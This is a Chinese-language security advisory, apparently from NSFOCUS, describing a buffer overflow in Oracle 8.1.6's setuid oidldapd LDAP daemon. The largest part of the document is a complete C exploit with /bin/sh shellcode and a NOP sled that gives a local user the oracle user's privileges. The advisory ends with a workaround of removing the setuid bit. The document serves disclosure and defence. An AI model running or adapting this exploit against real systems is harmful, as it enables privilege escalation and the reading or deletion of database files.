Oracle oidldapd缓冲区溢出漏洞
发布日期:2000-10-20
更新日期:2000-10-20
受影响系统:
oidldapd
- Oracle 8.1.6
描述:
oidldapd是Oracle带的一个Ldap守护程序,它存在一个缓冲区溢出漏洞,
本地用户可以获取oracle用户的euid,从而可以读取或者删除所有的
oracle数据库文件(缺省安装条件下)。
<* 来源:Juan Manuel Pascual (
pask@plazasite.com) *>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Juan Manuel Pascual (
pask@plazasite.com)提供了一个redhat
下的测试程序:
/*
Exploit Code for oidldapd in Oracle 8.1.6 (8ir2) for Linux. I tested in RH 6.2
and 6.1. This code is a bullshit (i know please no comments about ;-)).
If someone exports this to Sparc please tell me.
synopsis: buffer overflow in oidldapd
impact: any user gain euid=oracle.
Dedicated to PlazaSite guys. Klink Klink Team. Panxeta, Entrophy and others.
*/
#include <stdio.h>
#include <stdlib.h>
#define DEFAULT_OFFSET 13
#define DEFAULT_BUFFER_SIZE 700
#define NOP 0x90
#define ORACLE_HOME "/usr/local/oracle/app/oracle/product/8.1.6"
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr,*name[3],environ[100],binary[120];
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
buff = malloc(bsize);
addr = get_sp() - offset;
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
for (i = 0; i < bsize/2; i++)
buff[i] = NOP;
ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
memcpy(buff,"EGG=",4);
putenv(buff);
sprintf(environ,"ORACLE_HOME=%s",ORACLE_HOME);
putenv(environ);
sprintf(binary,"%s/bin/oidldapd connect=$EGG",ORACLE_HOME);
system(binary);
}
建议:
临时解决方法:
NSFOCUS建议您在没有获得补丁程序或者升级之前,暂时去掉oidldapd的setuid
属性。
厂商补丁:
暂无
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